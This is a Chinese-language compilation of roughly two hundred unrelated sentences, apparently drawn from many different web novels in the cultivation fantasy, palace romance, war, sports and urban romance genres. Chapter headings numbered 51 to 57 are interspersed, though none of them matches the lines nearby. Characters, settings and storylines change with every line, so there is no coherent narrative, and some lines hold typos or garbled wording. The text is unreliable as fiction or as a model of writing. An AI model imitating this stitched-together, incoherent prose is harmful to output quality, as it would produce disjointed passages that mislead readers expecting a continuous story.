轻风吹进红色的纱帐里,轻柔的帷幔随风律动,将一室的美好尽数阻断。
随后堂下的张作霖,看了看李宁宇又看了看边宝泉,最后在边宝泉的点头同意下,张作霖大声说道:“感谢李大人的再造之恩,今后属下必当全力报效恩情!”。
刚开始,李宁宇还用一些较为一般的借口搪塞,不过随后他们两个的一步步逼近,李宁宇最后只能同意,毕竟现在还不是与他们闹翻的时候。
也难怪他们。要是因为和林云的争执被打残了。那么他们在自己的家族里面就真正的完蛋了。就算是家族不怪罪。他们的一辈子也会在屈辱中渡过。
如果不是沈芷霜在身边的话,邱少泽估计会让沈破局断俩跟肋骨,毕竟这样才有利于身体上的平衡。
既然没办法躲,那就来吧!坐着等死,可不是傲天的性格,收回骆驼,拿出龙魂剑,此刻,傲天冷冷的看着前方。
白筱榆心想,什么叫我想知道些什么,明明是他逼她想知道些什么才对。
八歧大蛇,你这只缩头乌龟终于舍得出来了吗?你不知道本少爷等你等到花儿都谢了,黄花菜都凉了。看到八歧大蛇的出现,可惜的是,傲天并没有日本玩家想象的那样,反而脸上漏出和他们一样的微笑。
还能看见孟焱辰,他哪有机会再看到孟焱辰?看着他转身的背影,一点儿也不留情。
老卢仍旧笑嘻嘻:为人们服务是党的义务,我当然要时刻关注老百姓的动态了!
顾烟飞不知道自己是怎么睡过去的,总之,她全身已经没有半点力气,更想不起来要回家的话,一晚上,他无止尽的索要,她只觉得肚子都疼。
郑纶只略略地点了点头,又面无表情地带着辰年回了封君扬的院子。
“风展,我们有我们自己的生活,你别这样子嘛。”秦风展不回应,也不拒绝冯昕岚的靠近,可是他心里却有事。
其实惜如想说的不紧紧是婚后,还有就是说过去,她不知道,上官傲是否能接受她的过去,对于过去的事情,她想都不敢想,晚上的夜,那么的冷,摸着自己是那么的痛,那样的梦靥,是她永远都不愿意响起來的。
唐武说的前两点他都懂,因为这是大家一眼都能看出来的事。至于别的,沈祥福这几天来回奔波实在是太累了,确实还没有想到。
今夜之前顾淳风认为折雪殿结构奇特精巧、花植罕见珍稀,已是当之无愧的大祁“月宫”;而承泽殿为中宫殿,华兮贵兮,却少风致,以她幼时寥寥几回进出的印象,总觉呆板。
曾祁随手从身旁的器械架上拿出一把宽刃长刀,随手挥舞了几下,颇有几分老当益壮的架势。城头上的安户守军也都被这突如其来出现在城下的敌人吓了一大跳,半个时辰前还有说有笑的军事堡垒中现在如死一般的寂静。
再加上20分钟就因脚踝受伤下场的沃尔诺克,红军的半场可谓悲喜交集。
“天师,符野的鬼魂怎么还是神志不清,只是反复的说着那句话?”多金觉得很是奇怪,不知道符野的鬼魂为什么总是说相同的话。
产业遍青川,耳目遍青川,他拿消息的速度恐怕并不比顾星朗慢,此一项早已谈话往来过,此刻不过是确认。
“那我愿意,手持长枪,直对坏人多酷。”林曦晨说话时,还用手做了一个拿枪的姿势。
在剩下的时间里,这个打头的大队经历了噩梦般的行军之旅。明明只有四公里多的山路,他们却感觉走了40公里。这一路上不是踩到地雷,就是被人远处狙杀几个军官,甚至还有一种专炸脚丫子的子弹雷。
如果像伊万科夫那场还好,毕竟球队大比分领先,门将就算踢丢了也不算啥。
“确实是那颗星球,和中枢智脑给的图片,一模一样。”息绣的语气也很惊讶。
第一卷 第51章 二嫂嫂是有手艺的
“当然,我们都希望你能早一点画出设计图。毕竟,这颗钻石,可以拉开与比利时合作的帷幕。”闫亦心笑着说。
-----那一天。迎接回到街道中的折纸的,并不是自己所熟悉的风景,而是燃烧着熊熊烈火如同地狱般的场景。
“看清楚了吗?”突然王晨朝张三丰问道,不过此时王晨手中却已经停止的气流的转动,替而代之的而是一颗金灿灿的丹了。
另一人大叹道:“不提这人了,少得惹了什么麻烦……走,咱们哥俩怎么说也是上三旗的人,得寻个活路,我手上没个闲钱还上户部,又不像那人有个尊贵的老子,唉!”说着,二人长吁短叹了一番,赊了饭钱离开。
直至晚间,晚饭罢,弘历方离开景仁宫。而随着弘历前脚的离开,后一脚又有令众人侧目的消息传来,胤禛开始招人侍寝。
一个个字眼,一段段口诀,就像是从四面八方而来的钟鸣鼓响。在一凡的脑海之中不断吟唱。
“每天你只准吃一斤,你只能吃新鲜的肉,如果他死了,你就不能在吃。
“对,对每一位顾客都保持这样的笑容。”经理是个男孩——不,应该算得上是男人了,虽然他长得高挑细瘦。
没错,在星空图卷那七彩光华的冲击之下,秦逸现在的修为,已经飙升至了凝仙中期巅峰,而神识也在先前突破了修仙十境界的桎梏,达到了‘玉’元仙前期的恐怖境界。
方才,他一直守在门外,王爷与绾妃独处一室在屋里待了那么久,虽然没听到什么动静,但两人到底干了什么,根本不得而知。
“我跟多跟她接触?没这个必要吧……就算您曾经照顾过她,也没这个必要。”顾倾心摇头,把刚刚北冥寒拿来的一束花插好。
“走吧。”魏青看了她一眼,跟在掌柜后面下了楼梯。齐少凡犹豫了片刻,只好硬着头皮跟上去了。
慕逍遥带着另外一队兄弟也赶到了,他们路上几乎没碰到什么抵抗。
他说过,他与谢老将军有交情,所以只要她有求于他,他就会庇佑她。只要她一个眼神,他就会站出来为她作证。
战随风也知道这一关很难过,但是不过也得过,他把木块重新塞进她的嘴巴里让她咬着。
虽然北夫人看起来一点武功都没有,以百里夏的身手,在她这里肯定不会吃亏。
但他刚站起来,就看到王爷正捧着贵妃娘娘的脸在温柔的吻着她。娘娘显然已经理智全无了,像藤蔓一样死死缠着王爷,显得比王爷还急切。
她现在真的好感激他,在她的人生遭遇最悲惨的事情时,他出现了,现在想想,那时候的他,虽然霸道无理,他其实一直都是在帮她呀。
“乖,爷知道你想要爷怜惜,只不过现在还不是时候,等你再长大些,爷就可以给你了,那样对你的身子也不会有伤害,丫头,你能明白爷的意思吗?”楚世子边努力压制着自己边劝解他这什么都不懂的丫头。
突然间,一道寂灭万物的指光从夜空中降临而下,直接向着圣武士的头颅而去。
“哼,就算我孤独一生我也不会嫁给你这个混蛋!”瑶池娇躯在挣扎着,可叶晨的手臂仿佛就像铁钳一样。
但他还是稍微地把自己手里的盾牌稍微往侧方移了一点,使他能更方便地应对来自后方的威胁。
但那个出口的风险是很大的,因为出去之后就应该是离开了这个院子了,外界的环境真的不一定比这个院子里面安全。
“你要么现在出来,要么就永远别出来!”叶晨对着空气冷淡说道。
云霆只是听着,这个时候,不知道为什么,他的内心没有半分波澜,十分平静。张角是否原谅他,黄巾军是否有他的位置,已经没有那么重要了。即使他准备了很多,可在见到张角的时候,那一些准备,似乎没有那么重要了。
而且当他接触到自己的时候,自己的匕首也没预警,那家伙不是鬼,就是安南本人。
阎虎一听,双眼一黯,他知道傅羲已经是手下留情了,真要是谷主在场,只怕他的儿子早就被废了武功扔出谷外了。
死了,叶晨真的杀死了主宰仙界乾坤的天帝和西王母,而且还是当着他们三人的面前杀了……三清道尊无一不是双眼瞪得大大的看着眼前的一切。
车内宽敞而装修豪华,车头主副两个驾驶位,再前面是中央操控台。驾驶室之后排列有十个座位,座位豪华宽敞可躺可坐。乘坐区之后,用门隔开的是储物室,整个储物室占车身一半,可装货物、武器、食物等等。
陆榆安知道陆老爷子想要宋心雯继续回去上班,可是陆榆安是绝对不会同意的。
北家十万将士分为十营,每营万人,营中有一个统领领兵,而在十营之中又以第一营最强,它的统领为北护。
第一卷 第52章 再见夫人,依旧那般羞涩
藤原春日穿着浴袍,拿着干毛巾正在擦头发,“闻奕,我洗好了,你在……”她的话说到一半,却因为他僵硬的背影而收了声。
‘吼’橘色的巨大狐狸向着天空咆哮着,那震耳欲聋的声音如同声波攻击一般,掀起的气浪把那范围里面的树木给全部吹断,八条巨大的尾拍动着地面,震起层层灰尘。
这只队伍从纸面实力上来看,是相当恐怖的,只不过,还没有经过大赛的考验,具体的他们能走到哪一步,谁也说不好。
“我今天把监听的事告诉你,就是想向你表示,我诚心诚意要和你合作。”吕思勉的话话锋忽然一转。
几天前,富拉尔工业基地第一机械厂销售部除了销售5百多台机械之外,还签订了一个接近200亿元的大订单。
“什么鬼!对方修为比自己高,不接挑战也是理所当然的不是吗?”跟在云夜后面的学生起哄道。
塞米拉米斯的计谋已经不需要再仔细说明了,她利用吸血鬼的存在,揣摩出贞德这位Ruler的想法以及有可能做出的举动。
齐磊等到听不到办公室外的脚步声,这才转过身,坐回了大板椅上。他将头靠向椅背,又是深呼吸一口气。
钱依依走到了卫生间的窗户前,探出头望向蓝天。那份湛蓝,变得阴郁,她忽然低下头,望向大楼的楼下。
祁俊彦看着自己的弟弟这个时候在关心自己,心里其实是很开心的,不过这件事他还是不想让家里知道。
马车算不得有多平稳,忽然的停下来,让南景臣的脑袋直接往一旁的车壁倒去,明若华及时扯住南景臣的衣服,把他往自己的身上拉,才让他幸免于撞在车壁上。
如果不是夏佐祈愿了绘梨衣,别说是梦了,自己在她心中连一点影子都不会留下。
花汐羽本不甚清楚,但听到风奕寒这般说来,这其中,也一下便想到了。
“她生气也不全是因为你,是因为我们室友把她给算计了,所以她才生气的。”罗歆解释道。
自己本就该想到的,宁峰是天仙境界,而眼前这威势,明显是真仙境界才对。
以前只觉得,其他的人,与他毫无关系,根本用不着他去费什么神。
等他回到自己洞府不久,一个麻杆般的瘦高身影便出现在了他的客厅。
随着她的重新跑回来,一张打印在4K纸上的台词跃然映入了境凉子的眼前。
他知道他能够看见绘梨衣,那么以绘梨衣的感知,也能够察觉到他,加上路明非天然可以给她信任,所以绘梨衣在两人一明一暗的陪伴下,暴走的几率已几乎不可能。
就在姜陌他们散步的时候,一名穿着白虎长袍,手拿折扇的年轻男子,挡住了他们的去路,面上带着笑容,缓缓说道。
“嘶……”就在夏梦幽刚抹下去的一瞬间,柳耀溪忽然发出了有些痛苦的声音。
楼梯间,一个个血腥牢笼被架起,里面还囚禁着不知道从哪里抓来的,即将进行转化仪式的年轻人类,薛焕甚至从他们的身上闻到了恐惧和绝望。
轰隆一声巨响,巨大的爆炸把构装体身子冲得晃了一晃。金属碎片四下横飞。
恐怕整个炼药师公会当中,能够炼制出中阶帝品丹药的人,都是不多。
黄獾脑海当中的那份记忆,对牛排有一种“奇怪”的认知,认为最顶级的牛排,制作时应该是以突出牛肉本身的美味为主,调味料只是辅佐,绝对不能多加。
随后使用飞雷神术的次数渐渐少了起来,两人有来有往,交手瞬间也能拆上几招。
对于嬴政来说,这些大罗金仙要是能够与他一对一打斗,简直是求之不得的好事,足以让他的经验变得丰富,应对起其他大罗金仙来,游刃有余。
“话说,老头子那边我们也不知道他还会做些什么。”云飞羽又露出了发难的表情。
听着楚大人的话,这些县令都开始惶恐起来,一改原来推拒的口吻,都答应在十日之内效仿安州城建造这灾民的避难营,保证会让灾民安心过冬。
“你们这是怎么了?出什么事情了?”曾冰冰很奇怪呢!刚才医生要给自己涂检查用的那个凉凉的液体的时候,就听到一声踹门声,医生就不见了,霍靖然就进来了。
凌菲瞪大了眼睛,与他对视了很长一段时间才肯作罢,不得不说,这个男人的确很厉害。
弟兄两个一起说着知己话。防着费丽娟,偷偷的盘算着要干的一票大事。又计划到了半夜。下半夜史建成拉着林大辉到酒吧喝酒去了。
这头皇宫的一切即将恢复正常,而只身一人从姜国赶来的淳于焱已经到了后周,暂且先住在客栈之中。到了客栈中,安排好所有事情之后,那一直潜伏在暗处的人也全部出现,将这段时日发生的事情,全都一五一十的禀报。
齐珍珍的那种眼神让阿杰多少觉得有些不舒服。似乎在她的眼里他就是有多不堪一般。她也不看看自己是不是有被接送的资本。
“这是她们准备的节目,也算是代表后宫所有的姐妹,感激太后和陛下的恩典。”旗妃笑着解释,又亲自给轩辕炽满上了一杯酒。
刑天耀在这边担心着他的师傅,皇甫柔在京中过着战战兢兢的日子,她坐在清心殿内,看着宫人们都跪在殿内,一脸的惊诧。
最终,马车停在了一处郊外,虽说是郊外,不过这里依山傍水,景色秀丽。
现在上官家主最需要一个合理的解释了,他根本不明白究竟发生了什么,为什么上官思悦会变成上官思媚了。
“好了,大家都出去吧,海马哥,你慢慢玩,咱们在外面给你守着。”还是平头男比较会说话,说出来的话也中听那么一点。
第一卷 第53章 这次真的发财了
大军朝着日出的方向,继续前行着,终在一日清晨,浩浩荡荡抵达了雁城。
苏倩妮这才想起自己此来的目的,突然抱着上官雪儿的肩膀哭了起来。
他找了张椅子坐了下来,摸起一包烟“叮”的一声,点着打火机。
“不不不,先生,再让我们看一眼吧。”不少人使劲擦着眼睛,有的老头子拿出了放大镜,他们是多么希望再看一眼这幅画呀。
“我说雪儿,他不会是你找的冒牌男友吧,我可是知道你有多高傲,以你的美貌和才气怎么可能找这样的人。”冬格格道,表情似是更加的不解。
而在他身旁,一道七十来岁的老人,紧随其后,不争不抢,只是看向洛家众人的眼神,有些嗤之以鼻。
此话倒不假,定河漕运出了问题,往外刮的都是民脂民膏,这厚厚一摞账本,算是替朝廷解决了一个大麻烦。
朱州对白凯的决定深感吃惊,在他心中白凯可是他一直以来的敬佩对象,一直以来朱州都拿白凯做为自己的追赶的目标,可现在白凯竟然要放弃自己的朋友自己离身而去。
这一次两人的交手更加凶狠,每一招落下,都在对方的身上打出道道伤痕。
“请进。”楚红云慵懒的声音传了过来。显然楚红云在睡觉,做为服装厂的经理。居然在工作的时候睡觉。
“不管是板井一夫,还是你们,谁要我的命,我都不会让他们活下去的。”庄逸冷冷地道。
“老子让你干嘛,就干嘛,你嗦嗦的,动作麻利点,你避开脊背,两侧帮我多踩踩。”李熠舒服地吁出一口气。
下一秒,一只白皙无暇的手,一只坚韧有力的手,覆住了王子汗津津的发。
“怕什么,我早就探看了,这附近都没人。”三郎拿下她的手,说着,在她手心里亲了一口,然后,很满意的看到阿静的脸更红了。
“可是,如果时光倒流回去,我依然还是会如此做……”林天涯的声音很低,但是却蕴含着不可动摇的决心。
我不由得皱了皱眉头,仔细聆听,仿佛,就在上一层楼,正朝我这边走了过来。
“我……”听见李湘君的声音,林天涯的意志瞬间崩溃,抓住李湘君手腕的手掌也下意识的松了开来。
“兄弟,你说我现在要是学那些功法是不是会事半功倍。”叶军兴奋地问着。
叶尘又是一拳轰击在了叶寒的身体之上,这一次,叶寒直接倒飞出了数千丈的距离,旋即一口鲜血涌了出来,气息微微弱了几分。
收回思绪的莫爱黎看着地上的楚逸森,认命的蹲下身将他扶了起来,将他放到床上躺着,还好心的走到浴室拿了毛巾弄湿了给他擦擦脸。
“风调开爽,器彩韶澈,木秀于林,风必摧之。功高盖主,祸必降之。”她仿佛被蛊惑般,一字一顿,清晰的念出在网上无意间看见的将军墓碑铭。
“太血腥,真的不太适合你看。”陈少明直接了当的说出来,免得一会不必要的麻烦。陈少明向王玥解释了什么是斗犬。
见识到活化处刑台的强大力量后,城上的人非常紧张,城下的人同样非常紧张。
奥古斯海不知道,他只知道一件事,就是琅邪凌辱了他那神圣不可侵犯的尊严,将他高贵的血践踏在肮脏的脚下。
几百人在顾少一句话间,如潮水般褪去,完全看不出曾经来过的痕迹。
昊天却只是看了她一眼,将她揽紧,什么都没说便在冰雪林中急速穿梭起来了。
而太白却是翻记账薄,翻了几眼之后,太白直接无语了,如果现在曹培志在他面前的话,太白绝对要抱着曹培志,狠狠的亲他一口。
“我不想看到你,今天就让咱们都好好的想一想吧。”不提还好,鲁明义的话头一提起来,吴迪就觉得十分的委屈,眼泪就哗哗的往下掉,她转过头撂下一句话就跑回屋里。
“原来是这么一回事,吓死我了,我们还以为你们跑上门来兴师问罪来了。”太白顿时松了一口气。
十分钟过去后,秦九心满意足放下某人被自己口水淹没了的手,抹了把嘴唇。
阿肥体型肥硕,虽然是扎在后背部,但阿肥身上的肉脂肪太多了,蓝眼这一匕首扎上后,阿肥并没有在大的反应,回头看了眼蓝眼,接着就一人拎起蓝眼往地上甩去。
苏月娥与王佑海闻言为之一振,他们已经听说五行宗有人要来的事情,也想过来人有可能会是轩辕笑,但如今一见仍旧感到有些错愕。
看着面前认真学习的泉拳,光明的脸上不时的‘露’出欣慰的笑容,轻轻的抚‘弄’着自己雪白的胡须,只是他并不知道泉拳已经在心里将他问候了许多遍。
不过,对于哥德华來说,他不会死心,一计不成再來一计,现在的哥伦比亚政fǔ肠子都后悔青了,他们后悔用一亿美元出售那片地方了,心里是非常的不甘心,也试图想做些什么。
白日仙翁不置可否,依然微笑以对,那种淡定的感觉,仿佛大家正在讨论的话题人物不是他一样。
此时轩辕笑把吃完的苹果随手一扔,满足的拍了拍手,顿时又拿出两颗在身上擦拭,将一颗丢给号诅。自己又开始吃着看戏。
李万田带着滔天愤怒出得秘府,便立刻派出李家山的大量强者,在广芜的‘虚阴寒烟’地带埋伏。他下令,只要发现付青云的踪影,不管用什么办法都要全力格杀。
冷总理一会儿的汗就出來了,这帮子政客们整天想的是如何进行政治斗争,那有几个真正懂法的。
第一卷 第54章 佐千千的小姨
然而今天,当叶远攀升至第三的时候,这个念头忽然再次从大家脑海中冒了出来。
“……他没来这儿住过了?”听到这话,商时雨心一凉。如果自己给他打电话,告诉他,自己在这儿,是不是他更不会回来了?
宋之星一直杵在门外,听到这会儿,见老爷子没有再说话,情绪该是缓和了许多,便准备要进去。
可是现在他又是怎么出现在魔界的呢,而且他体内还有着极其深厚的魔元,这一切都是令人疑惑的,难不成王羽自废功力重新修炼的魔功?
所以此刻的陈星宇,无疑是准备利用元的偌大威名来当做拜门贴。
“那现在我们干嘛去?是吃饭吗?我已经好饿了,先吃饭好不好?”她讨好的仰着头,和他说话。软软的声音里,一直是撒娇。
曾经遥不可及的境界,陈家村一日之内竟然一下子多了四个,村民们感觉在做梦一样。
“白部长这伤是因为我受的,钱应该由我来出。如果还不够的话,可以去我公司找会计报销。”他说的每一个字,都特别的冷。
大夏地处南方,极少下雪。今年,是因为琉璃的死,老天都要为她哭泣吗?
与陈星宇战斗过一次的张郎,显然知道用一般的方法必定不是陈星宇的对手。
“大勇叔,这话可不能说!”黄高峰说道,并且拿出一包烟,塞给一边的李成宇。
而且最近易中海好像也变了一些,虽然说不上来,但是傻柱能感觉到。
一看这个样子苏泽就相不出好马,那些早就已经观察了高欢身后马匹,准备用下马价格购买上等马的商人们早就急不可耐了。
程语楠也没忙着往罐头厂去开拓市场,她现在首要任务还是得把节礼这事弄出来。
此刻晋安王即将归京,若是在这个时候处置了程家,说不定又会生出庞的变故。
陆时野把野猪给捆上,朝上头喊一声,陆建设刚把野猪拉起来,陆时野就呦呵了一声。
他笑着解释道:“当然不是让观众们只能看着我吃,本次直播获得的所有食材,都在在直播结束前在一个平台上出售。
李白手里端了一杯白兰地,和一杯血色妖姬,还有一份起司蛋糕,朝二十五号桌走了过去。
“你先回吧,外面光线太强,对你的身体不好。”秦帅冲着王青灵摆摆手。
这时,颜妍和方圆也分别和板爹、老妈打起了招呼,终于缓解了这种说不明的气氛,然后我也趁势领着他们进了客栈,随后开了一间房,让他们暂且休息,缓解这一路上的疲劳。
一名尊级强者的寿命非常之长,一般情况活上五百年都不是问题,乔儿被封印的时候虽然是数十年前的事情了,不过这对于一名尊级强者来说并不是太长的时间,天宇学院的院长很有可能还是之前的那一个。
“设计引出孤傲云。然后。救出云岩。”天玄一瞬间就说出了心里的想法。
比武变得异常火爆,为了证明自己纷纷上台,演武场的大擂台上,人们一个接着一个地上台邀战。
然而这里已经不是诸天世界了,自己的法则也做不到毁天灭地了。
树妖顿时一种不屑的语气说道:“我老人家是陆生植物,把根伸到水中早就腐烂了!不理你了,我要在这儿疗伤。”随即便如一只死老鼠般不动了。
秦帅手里射出的银针,划过虚空,大部分落在了空处,掉在地上。
第二日,鬼界堡正值中午时间,东岭州坂江城外已是人山人海,斩杀青年第一强者乾坤,这简直是捅破天的大事件,乾坤可是乾家青年一代最强大的天骄,谁敢当众斩他。
问人叫什么,这下子对面很多人就能反应过来了,纵然知道这时候不该高兴,还是有几个面上忍不住露出窃笑。
一道金色的剑气,呼啸而出,瞬间洞穿了那人的胸膛,断绝了生机。
不过自己这次能杀了对方,完全是对方大意,要是真正仙王,楚天可没这本事。
万名精英战士组成的钢铁雄狮,此刻已经溃不成军,五辆开头的坦肉,已经报废,近千名战士被锋利的战矛洞穿了身体,倒在了血泊中。
这样做的直接后果就是,葛生非但昨天一整天都没出过房门,不知道外面早已经沸反盈天,反而自己经过一天的休息仍然没有完全缓过来劲儿。
在场没见过楚天实力的人惊呆了,而一下子整个大厅内就安静了下来,三十个位置也坐满了人。
这次争夺战,方毅可以说是最奇葩的存在,竟然自始至终都没有出过手,可却连胜了三场。
月的脸色,初为迷茫,随后在刹那间红成苹果,这种美景实在极其少见,然后不知为何,血气从脸上退下,月似乎想到一件极好玩的事情,居然“噗”地一声轻笑出口。
凄惨一声传遍四处,石家的人纷纷大惊,而石皮神色变样,立马要过去救下石昊炎。
最近两天发生的事情一定跟他有关,看来他是华夏政府派来的没错了。只是,现在该怎么办?难道要出动神社部队?
叶冰吟却是睡不着觉,他趴在窗前向外看,结果他看到了兔子,那只柳兰喂养的兔子,叶冰吟有些不大明白,柳兰怎么敢让她的兔子随便在家里跑呢?
“对手真元被禁锢,程浩轩下一步大概就会发出攻击了吧。”.....闻听大阵内石震寰的尖叫,赛场周围围观的修士一片哗然。
这别墅区里住的非富即贵,平时一般人都进不来,也就是今天,李援朝给门口的保安打过招呼,来报名的人才可以进来。
第一卷 第55章 欺负完老的,欺负小的
“真乖,晚上八点,我来接你,记得打扮得好看一些。”目的达成,钟蓝轻笑着把玫瑰花放在了虞莉手里。
她对抓野鸡这么好奇,完全是因为上辈子她还特意跑到长白山去抓野鸡呢,结果他们一行人什么都没有抓到。
身为老实人的李成才,跟老板娘说了半天,非但没有说到正题上,话题反而被老板娘越引越远,最后实在说不清楚,李成才更加着急了,半天都嘟囔不出什么来。
卢湾体育馆是魔都大鲨鱼的主场,但今天晚上的比赛不是魔都大鲨鱼的比赛。
一睁眼便发现她身上只披着一件中衣,衣襟敞开着,身上尽是暧昧的痕迹。
只是现在条件有限,只能用皂基最最基本简单的手工皂,等到以后条件好一点,可以用油用碱做冷制皂,那东西可比买来的皂基要好用多了。
陈茗痛心无比,她养了那么久的幼崽,就像不是自己的亲生孩子,也差不多当成自己的亲生孩子来看待了,居然被一只橘猫给吞下去了,陈茗想杀了橘猫的心都有。
虽然大家在最后的日子里都很努力,却并不代表了,人人都可以考上高中,可能有很多的同学,在这里就将告别校园,告别老师,告别同学们。
刚刚暂停完,马上又叫了暂停,从这就可以看出来斯波尔斯特拉是多么的慎重。
一直以来,驻守在南京的空军部队,是朱嘉勋的第三飞行团。朱嘉勋的技术,并不比邱翱差。而他的第三飞行团内,大多数人,都与他是同乡,当然,还有在山东招募培养的飞行员。
方泽滔发出一声惊天动地的狂叫,往后疾退,“砰”的一声撞在亭栏处,仰身翻跌亭外的草地上,脸上血色尽退,鲜血随弦线射出,点点滴滴地洒在亭栏与地上,可怖之极。
也许真的没时间了,肖强听到了外面纷乱的叫喊,以及建筑坍塌的轰鸣,老洛克情急之下先一步跑了出去,就在肖强准备冲出去的时候,白震轩又突然说到。
他反复观察,甚至以神识操控起来,灵力注入其中,也没有发现什么特别的,就是感觉这剑真的很舒适而已。
安雅拔下弹夹,换上最后一个!她手里这个是最后的弹夹80发!子弹有不少,但肖强实在是压不过来,这补充完全比不上消耗的速度,就连坚强如安雅仿佛也已经看到了他们即将面临的下场。
国人做不到这些,印度人做,和他们合谋的白人是拿大头的,国人做,白人就完全没得混了。
不时出现的巡逻队像幽灵一般守护在这些队伍之中,看到肖强的车队远远的招手打声招呼,好歹个也算是个名人了,至少安监队里有不少人知肖强这份情,这让他对贝姆的怨念稍微消退那么一点点。
“这也~”肖强不知道该如何形容自己的内心,他好像感受到了贝姆老混蛋在医院面对他时的憋屈,那种做好了牺牲一切却一拳打在棉花上的窝囊劲!明明准备好一场血战结果跟我玩过家家?
这其中大部分都是白圣君在造世鼎中领悟的丹药,偷偷炼制出来的。
又是一个节约弹药的产物!幸好这里不是沼泽地,要是他们见过水爬虫的集团冲锋,就知道这种节约弹药的射速有多可笑。
“王爷哥哥,你给大家解释解释,你为啥喜欢打偏花儿呢?”岳灵珊扭住这一个问题不放,坚持要问下去。
图鉴在这时候发挥了它独有的神奇宝贝识别功能,对阿治来说甘之若醴的作用。
进来时的那扇金属大门已经关闭,高登相信阿拉维肯定不会让他们从那里逃离,所以选择了另外一条路。
刚宁的夏日黄昏,凉风习习,抚过谢磊的脸颊麻麻痒痒,与白天的燥热完全是两个极端。
这一次可将散修吓坏了,因为那门中走出的魔修不是别人,正是仙门苦寻的魔头血星子。
万里无云的晴空中,四道绚丽的流光闪过,停留在段水流身旁,一柄巨大的羽扇凭空出现,牵动着空间的颤抖,朝着乾隆挥去。汹涌的气流顿时席卷周围的空间,异为的浑浊。
一道道光柱冲向神威舰下方的三艘武威级飞舰,交织成一片天罗地网,无差别全方位轰击,三艘武威级飞舰可不是幽灵号,完全没有躲避的机会。
“我有死死地抓王爷的手吗?荷花妹子你看清楚点哈。那分明是王爷的手死死地抓住了我的手嘛!”清秋蝶说完,故意举起了手给荷花看。
“让男性雄风之身普里阿普斯在鲜血前欢乐吧!他将庇佑我们获得这场伟大决战的胜利!”奥比休斯与祭司们一起高举双手,叫了起来。
第一卷 第56章 这老头要碰瓷
他不敢大声呼救,一旦卸了肚子里面鼓起得以和轰龙角力的那口气,那么它就可以轻易撕碎他。
天地之间的一切都似乎停止了,天地之间似乎只有这两根手指,这是两种力量的极致。
在此屹立上万年,从未有人敢破坏的天魔宫,在这一拳之下,就如同破碎的镜子,离开一道道巨大的裂痕。
林九玄哈哈大笑,袖袍如长龙般鼓起,只见随着他一句话吐出,虚空法印凝结,两道煞气长龙从袖袍中狂卷而出,拖着他的身体似移形换影一般落到了数十米开外的地面上。
唐明这边的战局,谁想率先胜出,那么整个战局自然就立马分出输赢。
但不管怎么说,九州毕竟曾经是灵界的一员,所以方毅相信,灵界必定还有着关于九州的传说。
直到一阵钟声从天桥那里传来,这时天桥上的迷雾消失,出现一个洞口,众人蜂拥进入。
另一边,大日王朝大军遭受来自四面八方的攻击,更是险象环生。
黄亦父子见到唐明出乎意料,如此果断的拒绝,明显有些反应不过来。
慌忙跳下来,然后莉莉急忙向后撤去,但是鬼狩蛛实在是无法遏止住自己奔腾的杀意。
这两样宝贝虽好,但是却只有她自己可以用,只属于她自己的荣耀,而金玉就不一样了,它在铁狼佣兵团的心中,不仅仅只是一万片金叶子的价值,那是整个铁狼佣兵团雄风再起的里程碑。
“鞑子没道理这么攻城。”相对于刚悄悄调整过来的朱达,王雄对这样的场面就非常适应,很沉着的说了句。
可这调理人若是这么帮助被调理人,他会损伤很大,这幻力消耗还好说,因为调理的时候是直接与被调理人身体幻力相接触,被调理人的体内若是有什么问题,就很可能直接渡给调理人,一个弄不好,反而会害了人。
一行对于下面众僧的反应,也是十分满意,只不过目光,或多或少的会瞥向同样鼓掌的方正。
昏黄的余晖透过玻璃在大厅里构成三角,家具凌乱,乱腾腾的灰尘悬浮在光影里,现场已经安静了。
阿修罗冲出血海,在四大魔王、四大魔将的率领下,疯狂冲击佛门大营。这一战,阿修罗一族尽出,是这数千年来规模最大的一次。
“杨班头,不要喊,喊了就没命了,听懂了你就点点头。”朱达压低声音威胁道。
“没有,听说很可爱是吗?”同事兴致勃勃的回头来与对方聊着天。
聚集在城门外的这些人家和宗族已经打成了一锅粥,乱得不能再乱,谁也管不得那边的吆喝和号令,心想谁要是听他们的,就是傻子,谁要是听他们的,就会吃亏,所以那边喊归喊,依旧是乱打不停。
没办法,赵康只能想到这个方法,若是直接接任务,估计连皇甫嵩的人都很难见到。
朱凯的人无法突破,对方又在不断攻击,唐周对付黄忠就已经很是吃力,现在又是压力大增,如何能够维持平衡。
“大哥!这……”张飞回头看了眼自己大哥,想要询问接下来怎么办。
苏维尔三人看着前方人来人往,热闹嘈杂的客栈,三人不由得用眼神互相看了看,随即一起找了一家走了进去。
这突兀的变化,令廉兀以及白衣青年神色骤变,因为他们感应到从湖泊中有一道就连他们也感到窒息的恐怖气息出现。
李万寿比其他人更惊讶,说白了,他问这个问题完全是灵机一动。作为负责民生的一方诸侯,他对自己辖区内的农业数据非常清楚,但说到全国,他怎么也要用计算器好好算一下才能得出结果。
得到了这把武器,当然要去试试看武器的威力,然而此时我们一行人等迅速跑去了‘药’店,补充了一下消耗品,当消耗品充足了之后,我们正要离开主城去寻找练级点的时候,有人突然叫住了我。
说着,俊朗的男子起身渐渐走了过来,高瘦男这才注意到他手中的竖琴,这才恍然大悟,原来他是一位游吟诗人。
这一句有异议吓得王兴新顿时没了睡意,他怕呀!这屁股还没好呢,才刚能下地,若是再让这老妖精寻个理由打一顿那可大大不妙。
火山爆发,强大的冲击力从赤犬的手上爆发,熊直接被轰飞了出去。
“哼,谁说的,他今天说过喜欢我的,今天之所以拒绝我,是因为他有事,你看,他这不是要来砸海帮的场子吗?等下完事后,他一定会来找我。”这辣妹似乎很自信。
他在得到储物戒指以及其内的东西后,已然很是满足,加上他來此主要是找到突破瓶颈的方法罢了,对于宝物他并沒太在意。
刘云飞跨过大‘门’的时候,不是一种走进神殿的空旷感,而是像穿过了一层看不见却能感受得到,感觉十分粘稠的薄膜。这种感觉让他一下确认他跨入了传送‘门’,他的记忆里只有传送‘门’会给人这样的感受。
龙伯递过来一个包的极好的包裹。洛瑾诗接到手中,不知道这到底是什么。果真是电影看多了,洛瑾诗的脑袋里面,是绝对闪现过不止十次的想法便是,这里面装得,便是定时炸弹什么的。因为这实在是太神秘了。
“我们躲着也不是办法,他们使用的武器穿透力太强了。”左海恼火地道,他感到很憋屈,敌人明明没他们强,却能‘逼’得他们不敢‘露’头。
第一卷 第57章 演戏实在太累了
蜘蛛吃了陈潇这么多的灵草,已经把他当做恩人了,对他极是亲热,弄得他倒是相当的意外。
虽然说陈老头未能真正的无敌于世间,可爆发出来的力量,已然令人震撼。
张倩出来了,额头的汗水已经没有了,如果刚才没有李子扬提醒,她今天会在这个宴会上出丑了。
